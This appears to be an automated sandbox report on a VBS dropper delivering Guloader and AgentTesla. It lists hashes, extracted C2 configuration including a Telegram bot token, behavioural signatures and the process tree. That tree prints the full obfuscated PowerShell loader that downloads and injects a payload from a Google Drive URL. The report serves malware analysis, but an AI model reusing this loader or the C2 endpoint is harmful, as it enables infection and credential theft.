Analysis
-
max time kernel
143s -
max time network
146s -
platform
windows7_x64 -
resource
win7-20221111-en -
resource tags
arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system -
submitted
08-02-2023 18:41
Static task
static1
Behavioral task
behavioral1
Sample
Articolo nuovo ordine.vbs
Resource
win7-20221111-en
Behavioral task
behavioral2
Sample
Articolo nuovo ordine.vbs
Resource
win10v2004-20221111-en
General
-
Target
Articolo nuovo ordine.vbs
-
Size
124KB
-
MD5
a2e30a66600d06ce64856277fe843f07
-
SHA1
c4553901c5cc29463e0b38ddf2577cfcbad53953
-
SHA256
d35688b52bc5bb7819e2049e7271eb5a3084ba07febfc4ac74004fb0d9d6875c
-
SHA512
bdb62b38953f726e58ef72617f8c54b61e0ee4b14d5459fe30b4373d49b55574893418670438325c75d54b99d1c34d70f8563a376c2939c33b857463936f0bc8
-
SSDEEP
3072:Fy0q3Cj8Lqba9hy7jPcWCuHzq0+gAphyx:g0w/me9hyX9HW0+1M
Malware Config
Extracted
https://drive.google.com/uc?export=download&id=1B3MRGXuZWdG46eXHp6A71YeYmlVrmaBx
Extracted
agenttesla
https://api.telegram.org/bot5693068931:AAGSQSNIWDJM1FzeZVNHS020I9wVBrQdkRM/
Signatures
-
AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
-
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
-
Blocklisted process makes network request 5 IoCs
Processes:
WScript.exepowershell.exeflow pid process 2 1364 WScript.exe 7 1992 powershell.exe 10 1992 powershell.exe 12 1992 powershell.exe 15 1992 powershell.exe -
Checks QEMU agent file 2 TTPs 2 IoCs
Checks presence of QEMU agent, possibly to detect virtualization.
Processes:
powershell.execaspol.exedescription ioc process File opened (read-only) C:\Program Files\Qemu-ga\qemu-ga.exe powershell.exe File opened (read-only) C:\Program Files\Qemu-ga\qemu-ga.exe caspol.exe -
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
Processes:
caspol.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 caspol.exe Key opened \REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 caspol.exe Key opened \REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 caspol.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
Processes:
caspol.exepid process 1904 caspol.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
powershell.execaspol.exepid process 1992 powershell.exe 1904 caspol.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 1992 set thread context of 1904 1992 powershell.exe caspol.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Processes:
WScript.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43 WScript.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 0f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d432000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 WScript.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 190000000100000010000000749966cecc95c1874194ca7203f9b6200300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d431d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0b000000010000001200000044006900670069004300650072007400000014000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa62000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 WScript.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\0563B8630D62D75ABBC8AB1E4BDFB5A899B24D43\Blob = 04000000010000001000000087ce0b7b2a0e4900e158719b37a893720f00000001000000140000006dca5bd00dcf1c0f327059d374b29ca6e3c50aa6090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000045eba2aff492cb82312d518ba7a7219df36dc80f0b00000001000000120000004400690067006900430065007200740000001d00000001000000100000004f5f106930398d09107b40c3c7ca8f1c0300000001000000140000000563b8630d62d75abbc8ab1e4bdfb5a899b24d43190000000100000010000000749966cecc95c1874194ca7203f9b6202000000001000000bb030000308203b73082029fa00302010202100ce7e0e517d846fe8fe560fc1bf03039300d06092a864886f70d01010505003065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3065310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d312430220603550403131b4469676943657274204173737572656420494420526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100ad0e15cee443805cb187f3b760f97112a5aedc269488aaf4cef520392858600cf880daa9159532613cb5b128848a8adc9f0a0c83177a8f90ac8ae779535c31842af60f98323676ccdedd3ca8a2ef6afb21f25261df9f20d71fe2b1d9fe1864d2125b5ff9581835bc47cda136f96b7fd4b0383ec11bc38c33d9d82f18fe280fb3a783d6c36e44c061359616fe599c8b766dd7f1a24b0d2bff0b72da9e60d08e9035c678558720a1cfe56d0ac8497c3198336c22e987d0325aa2ba138211ed39179d993a72a1e6faa4d9d5173175ae857d22ae3f014686f62879c8b1dae45717c47e1c0eb0b492a656b3bdb297edaaa7f0b7c5a83f9516d0ffa196eb085f18774f0203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041445eba2aff492cb82312d518ba7a7219df36dc80f301f0603551d2304183016801445eba2aff492cb82312d518ba7a7219df36dc80f300d06092a864886f70d01010505000382010100a20ebcdfe2edf0e372737a6494bff77266d832e4427562ae87ebf2d5d9de56b39fccce1428b90d97605c124c58e4d33d834945589735691aa847ea56c679ab12d8678184df7f093c94e6b8262c20bd3db32889f75fff22e297841fe965ef87e0dfc16749b35debb2092aeb26ed78be7d3f2bf3b726356d5f8901b6495b9f01059bab3d25c1ccb67fc2f16f86c6fa6468eb812d94eb42b7fa8c1edd62f1be5067b76cbdf3f11f6b0c3607167f377ca95b6d7af112466083d72704be4bce97bec3672a6811df80e70c3366bf130d146ef37f1f63101efa8d1b256d6c8fa5b76101b1d2a326a110719dade2c3f9c39951b72b0708ce2ee650b2a7fa0a452fa2f0f2 WScript.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepowershell.exepid process 1816 powershell.exe 1992 powershell.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
powershell.exepid process 1992 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exepowershell.execaspol.exedescription pid process Token: SeDebugPrivilege 1816 powershell.exe Token: SeDebugPrivilege 1992 powershell.exe Token: SeDebugPrivilege 1904 caspol.exe -
Suspicious use of WriteProcessMemory 18 IoCs
Processes:
WScript.exepowershell.exepowershell.exedescription pid process target process PID 1364 wrote to memory of 468 1364 WScript.exe cmd.exe PID 1364 wrote to memory of 468 1364 WScript.exe cmd.exe PID 1364 wrote to memory of 468 1364 WScript.exe cmd.exe PID 1364 wrote to memory of 588 1364 WScript.exe cmd.exe PID 1364 wrote to memory of 588 1364 WScript.exe cmd.exe PID 1364 wrote to memory of 588 1364 WScript.exe cmd.exe PID 1364 wrote to memory of 1816 1364 WScript.exe powershell.exe PID 1364 wrote to memory of 1816 1364 WScript.exe powershell.exe PID 1364 wrote to memory of 1816 1364 WScript.exe powershell.exe PID 1816 wrote to memory of 1992 1816 powershell.exe powershell.exe PID 1816 wrote to memory of 1992 1816 powershell.exe powershell.exe PID 1816 wrote to memory of 1992 1816 powershell.exe powershell.exe PID 1816 wrote to memory of 1992 1816 powershell.exe powershell.exe PID 1992 wrote to memory of 1904 1992 powershell.exe caspol.exe PID 1992 wrote to memory of 1904 1992 powershell.exe caspol.exe PID 1992 wrote to memory of 1904 1992 powershell.exe caspol.exe PID 1992 wrote to memory of 1904 1992 powershell.exe caspol.exe PID 1992 wrote to memory of 1904 1992 powershell.exe caspol.exe -
outlook_office_path 1 IoCs
Processes:
caspol.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 caspol.exe -
outlook_win_path 1 IoCs
Processes:
caspol.exedescription ioc process Key opened \REGISTRY\USER\S-1-5-21-1214520366-621468234-4062160515-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 caspol.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Articolo nuovo ordine.vbs"1⤵
- Blocklisted process makes network request
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:1364 -
C:\Windows\System32\cmd.execmd /c echo off2⤵PID:468
-
C:\Windows\System32\cmd.execmd /c echo rshell2⤵PID:588
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Pardeemu = """Function Quokkas11 { param([String]`$Hippoc); `$Dandiesha = ''; Write-Host `$Dandiesha; Write-Host `$Dandiesha; Write-Host `$Dandiesha; `$Knap = New-Object byte[] (`$Hippoc.Length / 2); For(`$Testim=0; `$Testim -lt `$Hippoc.Length; `$Testim+=2){ `$Knap[`$Testim/2] = [convert]::ToByte(`$Hippoc.Substring(`$Testim, 2), 16); `$Druer = (`$Knap[`$Testim/2] -bxor 230); `$Knap[`$Testim/2] = `$Druer; } [String][System.Text.Encoding]::ASCII.GetString(`$Knap);}`$Soliste0=Quokkas11 'B59F9592838BC8828A8A';`$Soliste1=Quokkas11 'AB8F85948995898092C8B18F88D5D4C8B38895878083A887928F9083AB83928E898295';`$Soliste2=Quokkas11 'A18392B6948985A7828294839595';`$Soliste3=Quokkas11 'B59F9592838BC8B49388928F8B83C8AF889283948996B58394908F858395C8AE8788828A83B48380';`$Soliste4=Quokkas11 '9592948F8881';`$Soliste5=Quokkas11 'A18392AB8982938A83AE8788828A83';`$Soliste6=Quokkas11 'B4B2B59683858F878AA8878B83CAC6AE8F8283A49FB58F81CAC6B693848A8F85';`$Soliste7=Quokkas11 'B49388928F8B83CAC6AB878887818382';`$Soliste8=Quokkas11 'B483808A8385928382A2838A8381879283';`$Soliste9=Quokkas11 'AF88AB838B89949FAB8982938A83';`$Opskyl0=Quokkas11 'AB9FA2838A8381879283B29F9683';`$Opskyl1=Quokkas11 'A58A879595CAC6B693848A8F85CAC6B583878A8382CAC6A788958FA58A879595CAC6A7939289A58A879595';`$Opskyl2=Quokkas11 'AF8890898D83';`$Opskyl3=Quokkas11 'B693848A8F85CAC6AE8F8283A49FB58F81CAC6A88391B58A8992CAC6B08F949293878A';`$Opskyl4=Quokkas11 'B08F949293878AA78A8A8985';`$Opskyl5=Quokkas11 '8892828A8A';`$Opskyl6=Quokkas11 'A892B6948992838592B08F949293878AAB838B89949F';`$Opskyl7=Quokkas11 'AFA3BE';`$Opskyl8=Quokkas11 'BA';`$Forstuved=Quokkas11 'B3B5A3B4D5D4';`$Ebdom=Quokkas11 'A5878A8AB18F88828991B6948985A7';function fkp {Param (`$Demoralize, `$Xylopialiv) ;`$Streng0 =Quokkas11 'C2B294838087958382838BC6DBC6CEBDA79696A2898B878F88BBDCDCA5939494838892A2898B878F88C8A18392A79595838B848A8F8395CECFC69AC6B18E839483CBA9848C838592C69DC6C2B9C8A18A8984878AA79595838B848A9FA587858E83C6CBA78882C6C2B9C8AA898587928F8988C8B5968A8F92CEC2A996958D9F8ADECFBDCBD7BBC8A39793878A95CEC2B5898A8F959283D6CFC69BCFC8A18392B29F9683CEC2B5898A8F959283D7CF';.(`$Opskyl7) `$Streng0;`$Streng5 = Quokkas11 'C2A1938F8287818387C6DBC6C2B294838087958382838BC8A18392AB83928E8982CEC2B5898A8F959283D4CAC6BDB29F9683BDBBBBC6A6CEC2B5898A8F959283D5CAC6C2B5898A8F959283D2CFCF';.(`$Opskyl7) `$Streng5;`$Streng1 = Quokkas11 '948392939488C6C2A1938F8287818387C8AF8890898D83CEC288938A8ACAC6A6CEBDB59F9592838BC8B49388928F8B83C8AF889283948996B58394908F858395C8AE8788828A83B48380BBCEA88391CBA9848C838592C6B59F9592838BC8B49388928F8B83C8AF889283948996B58394908F858395C8AE8788828A83B48380CECEA88391CBA9848C838592C6AF8892B69294CFCAC6CEC2B294838087958382838BC8A18392AB83928E8982CEC2B5898A8F959283D3CFCFC8AF8890898D83CEC288938A8ACAC6A6CEC2A2838B8994878A8F9C83CFCFCFCFCAC6C2BE9F8A89968F878A8F90CFCF';.(`$Opskyl7) `$Streng1;}function GDT {Param ([Parameter(Position = 0, Mandatory = `$True)] [Type[]] `$Knased,[Parameter(Position = 1)] [Type] `$Microk = [Void]);`$Streng2 = Quokkas11 'C2B59284838089948B83D4D5D7C6DBC6BDA79696A2898B878F88BBDCDCA5939494838892A2898B878F88C8A283808F8883A29F88878B8F85A79595838B848A9FCECEA88391CBA9848C838592C6B59F9592838BC8B483808A8385928F8988C8A79595838B848A9FA8878B83CEC2B5898A8F959283DECFCFCAC6BDB59F9592838BC8B483808A8385928F8988C8A38B8F92C8A79595838B848A9FA4938F8A828394A78585839595BBDCDCB49388CFC8A283808F8883A29F88878B8F85AB8982938A83CEC2B5898A8F959283DFCAC6C280878A9583CFC8A283808F8883B29F9683CEC2A996958D9F8AD6CAC6C2A996958D9F8AD7CAC6BDB59F9592838BC8AB938A928F85879592A2838A8381879283BBCF';.(`$Opskyl7) `$Streng2;`$Streng3 = Quokkas11 'C2B59284838089948B83D4D5D7C8A283808F8883A589889592949385928994CEC2B5898A8F959283D0CAC6BDB59F9592838BC8B483808A8385928F8988C8A5878A8A8F8881A58988908388928F898895BBDCDCB592878882879482CAC6C2AD8887958382CFC8B58392AF8B968A838B83889287928F8988A08A878195CEC2B5898A8F959283D1CF';.(`$Opskyl7) `$Streng3;`$Streng4 = Quokkas11 'C2B59284838089948B83D4D5D7C8A283808F8883AB83928E8982CEC2A996958D9F8AD4CAC6C2A996958D9F8AD5CAC6C2AB8F8594898DCAC6C2AD8887958382CFC8B58392AF8B968A838B83889287928F8988A08A878195CEC2B5898A8F959283D1CF';.(`$Opskyl7) `$Streng4;`$Streng5 = Quokkas11 '948392939488C6C2B59284838089948B83D4D5D7C8A59483879283B29F9683CECF';.(`$Opskyl7) `$Streng5 ;}`$Alde36 = Quokkas11 '8D839488838AD5D4';`$Quokkas03 = Quokkas11 'A18392A5898895898A83B18F88828991';`$Quokkas00=Quokkas11 'B58E8991B18F88828991';`$Quokkas01 = Quokkas11 'C2A4938B9593858DD5D7C6DBC6BDB59F9592838BC8B49388928F8B83C8AF889283948996B58394908F858395C8AB8794958E878ABBDCDCA18392A2838A8381879283A08994A0938885928F8988B6898F88928394CECE808D96C6C2A08994959293908382C6C2B793898D8D8795D6D6CFCAC6CEA1A2B2C6A6CEBDAF8892B69294BBCAC6BDB3AF8892D5D4BBCFC6CEBDAF8892B69294BBCFCFCF';.(`$Opskyl7) `$Quokkas01;`$Quokkas02 = Quokkas11 'C2B083888AD7DFD1C6DBC6BDB59F9592838BC8B49388928F8B83C8AF889283948996B58394908F858395C8AB8794958E878ABBDCDCA18392A2838A8381879283A08994A0938885928F8988B6898F88928394CECE808D96C6C2A78A8283D5D0C6C2B793898D8D8795D6D5CFCAC6CEA1A2B2C6A6CEBDAF8892B69294BBCFC6CEBDAF8892B69294BBCFCFCF';.(`$Opskyl7) `$Quokkas02;`$Streng7 = Quokkas11 'C2B38887848795838296C6DBC6C2B083888AD7DFD1C8AF8890898D83CED6CF';.(`$Opskyl7) `$Streng7;`$Streng7 = Quokkas11 'C2A4938B9593858DD5D7C8AF8890898D83CEC2B38887848795838296CAC6D6CF';.(`$Opskyl7) `$Streng7;`$Streng6 = Quokkas11 'C2A493838AC6DBC6BDB59F9592838BC8B49388928F8B83C8AF889283948996B58394908F858395C8AB8794958E878ABBDCDCA18392A2838A8381879283A08994A0938885928F8988B6898F88928394CECE808D96C6C2A78A8283D5D0C6C2A996958D9F8AD2CFCAC6CEA1A2B2C6A6CEBDAF8892B69294BBCAC6BDB3AF8892D5D4BBCAC6BDB3AF8892D5D4BBCAC6BDB3AF8892D5D4BBCFC6CEBDAF8892B69294BBCFCFCF';.(`$Opskyl7) `$Streng6;`$Outbl = fkp `$Opskyl5 `$Opskyl6;`$Streng7 = Quokkas11 'C2A2838B8F8B8988D5C6DBC6C2A493838AC8AF8890898D83CEBDAF8892B69294BBDCDCBC839489CAC6D0D3D0CAC6D69ED5D6D6D6CAC6D69ED2D6CF';.(`$Opskyl7) `$Streng7;`$Streng8 = Quokkas11 'C2B483878A8F95928FD7DEDFC6DBC6C2A493838AC8AF8890898D83CEBDAF8892B69294BBDCDCBC839489CAC6DFD2DFD1D5DFD3D4CAC6D69ED5D6D6D6CAC6D69ED2CF';.(`$Opskyl7) `$Streng8;`$Quokkas01 = 'https://drive.google.com/uc?export=download&id=1B3MRGXuZWdG46eXHp6A71YeYmlVrmaBx';`$Quokkas00 = Quokkas11 'C2A58E8F8D8788839488DEC6DBC6CEA88391CBA9848C838592C6A88392C8B18384A58A8F838892CFC8A28991888A898782B592948F8881CEC2B793898D8D8795D6D7CF';`$Streng8 = Quokkas11 'C2A2838B8F8B8988D4DBC2838890DC87969682879287';.(`$Opskyl7) `$Streng8;`$Demimon2=`$Demimon2+'\Tusneldas.dat';`$Chikanern8='';if (-not(Test-Path `$Demimon2)) {while (`$Chikanern8 -eq '') {.(`$Opskyl7) `$Quokkas00;Start-Sleep 5;}Set-Content `$Demimon2 `$Chikanern8;}`$Chikanern8 = Get-Content `$Demimon2;`$Streng9 = Quokkas11 'C2B59294838881C6DBC6BDB59F9592838BC8A5898890839492BBDCDCA094898BA4879583D0D2B592948F8881CEC2A58E8F8D8788839488DECF';.(`$Opskyl7) `$Streng9;`$Chikanern80 = Quokkas11 'BDB59F9592838BC8B49388928F8B83C8AF889283948996B58394908F858395C8AB8794958E878ABBDCDCA589969FCEC2B59294838881CAC6D6CAC6C6C2A2838B8F8B8988D5CAC6D0D3D0CF';.(`$Opskyl7) `$Chikanern80;`$Maskinfejl103=`$Streng.count-656;`$Chikanern81 = Quokkas11 'BDB59F9592838BC8B49388928F8B83C8AF889283948996B58394908F858395C8AB8794958E878ABBDCDCA589969FCEC2B59294838881CAC6D0D3D0CAC6C2B483878A8F95928FD7DEDFCAC6C2AB87958D8F8880838C8AD7D6D5CF';.(`$Opskyl7) `$Chikanern81;`$Chikanern82 = Quokkas11 'C2B592898981838F8892C6DBC6BDB59F9592838BC8B49388928F8B83C8AF889283948996B58394908F858395C8AB8794958E878ABBDCDCA18392A2838A8381879283A08994A0938885928F8988B6898F88928394CECE808D96C6C2A08994959293908382C6C2A38482898BCFCAC6CEA1A2B2C6A6CEBDAF8892B69294BBCAC6BDAF8892B69294BBCAC6BDAF8892B69294BBCAC6BDAF8892B69294BBCAC6BDAF8892B69294BBCFC6CEBDAF8892B69294BBCFCFCF';.(`$Opskyl7) `$Chikanern82;`$Chikanern83 = Quokkas11 'C2B592898981838F8892C8AF8890898D83CEC2A2838B8F8B8988D5CAC2B483878A8F95928FD7DEDFCAC2A99392848ACAD6CAD6CF';.(`$Opskyl7) `$Chikanern83#;""";Function Chikanern89 { param([String]$Hippoc); For($Testim=0; $Testim -lt $Hippoc.Length-1; $Testim+=(0+1)){$Quokkas = $Quokkas + $Hippoc.Substring($Testim, 1)}; $Quokkas;}$Weaknesses0 = Chikanern89 'IEX ';$Weaknesses1= Chikanern89 $Pardeemu;if([IntPtr]::size -eq 8){.$env:windir\S*64\W*Power*\v1.0\*ll.exe $Weaknesses1 ;}else{.$Weaknesses0 $Weaknesses1;}"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1816 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "Function Quokkas11 { param([String]$Hippoc); $Dandiesha = ''; Write-Host $Dandiesha; Write-Host $Dandiesha; Write-Host $Dandiesha; $Knap = New-Object byte[] ($Hippoc.Length / 2); For($Testim=0; $Testim -lt $Hippoc.Length; $Testim+=2){ $Knap[$Testim/2] = [convert]::ToByte($Hippoc.Substring($Testim, 2), 16); $Druer = ($Knap[$Testim/2] -bxor 230); $Knap[$Testim/2] = $Druer; } [String][System.Text.Encoding]::ASCII.GetString($Knap);}$Soliste0=Quokkas11 'B59F9592838BC8828A8A';$Soliste1=Quokkas11 'AB8F85948995898092C8B18F88D5D4C8B38895878083A887928F9083AB83928E898295';$Soliste2=Quokkas11 'A18392B6948985A7828294839595';$Soliste3=Quokkas11 'B59F9592838BC8B49388928F8B83C8AF889283948996B58394908F858395C8AE8788828A83B48380';$Soliste4=Quokkas11 '9592948F8881';$Soliste5=Quokkas11 'A18392AB8982938A83AE8788828A83';$Soliste6=Quokkas11 'B4B2B59683858F878AA8878B83CAC6AE8F8283A49FB58F81CAC6B693848A8F85';$Soliste7=Quokkas11 'B49388928F8B83CAC6AB878887818382';$Soliste8=Quokkas11 'B483808A8385928382A2838A8381879283';$Soliste9=Quokkas11 'AF88AB838B89949FAB8982938A83';$Opskyl0=Quokkas11 'AB9FA2838A8381879283B29F9683';$Opskyl1=Quokkas11 'A58A879595CAC6B693848A8F85CAC6B583878A8382CAC6A788958FA58A879595CAC6A7939289A58A879595';$Opskyl2=Quokkas11 'AF8890898D83';$Opskyl3=Quokkas11 'B693848A8F85CAC6AE8F8283A49FB58F81CAC6A88391B58A8992CAC6B08F949293878A';$Opskyl4=Quokkas11 'B08F949293878AA78A8A8985';$Opskyl5=Quokkas11 '8892828A8A';$Opskyl6=Quokkas11 'A892B6948992838592B08F949293878AAB838B89949F';$Opskyl7=Quokkas11 'AFA3BE';$Opskyl8=Quokkas11 'BA';$Forstuved=Quokkas11 'B3B5A3B4D5D4';$Ebdom=Quokkas11 'A5878A8AB18F88828991B6948985A7';function fkp {Param ($Demoralize, $Xylopialiv) ;$Streng0 =Quokkas11 'C2B294838087958382838BC6DBC6CEBDA79696A2898B878F88BBDCDCA5939494838892A2898B878F88C8A18392A79595838B848A8F8395CECFC69AC6B18E839483CBA9848C838592C69DC6C2B9C8A18A8984878AA79595838B848A9FA587858E83C6CBA78882C6C2B9C8AA898587928F8988C8B5968A8F92CEC2A996958D9F8ADECFBDCBD7BBC8A39793878A95CEC2B5898A8F959283D6CFC69BCFC8A18392B29F9683CEC2B5898A8F959283D7CF';.($Opskyl7) $Streng0;$Streng5 = Quokkas11 'C2A1938F8287818387C6DBC6C2B294838087958382838BC8A18392AB83928E8982CEC2B5898A8F959283D4CAC6BDB29F9683BDBBBBC6A6CEC2B5898A8F959283D5CAC6C2B5898A8F959283D2CFCF';.($Opskyl7) $Streng5;$Streng1 = Quokkas11 '948392939488C6C2A1938F8287818387C8AF8890898D83CEC288938A8ACAC6A6CEBDB59F9592838BC8B49388928F8B83C8AF889283948996B58394908F858395C8AE8788828A83B48380BBCEA88391CBA9848C838592C6B59F9592838BC8B49388928F8B83C8AF889283948996B58394908F858395C8AE8788828A83B48380CECEA88391CBA9848C838592C6AF8892B69294CFCAC6CEC2B294838087958382838BC8A18392AB83928E8982CEC2B5898A8F959283D3CFCFC8AF8890898D83CEC288938A8ACAC6A6CEC2A2838B8994878A8F9C83CFCFCFCFCAC6C2BE9F8A89968F878A8F90CFCF';.($Opskyl7) $Streng1;}function GDT {Param ([Parameter(Position = 0, Mandatory = $True)] [Type[]] $Knased,[Parameter(Position = 1)] [Type] $Microk = [Void]);$Streng2 = Quokkas11 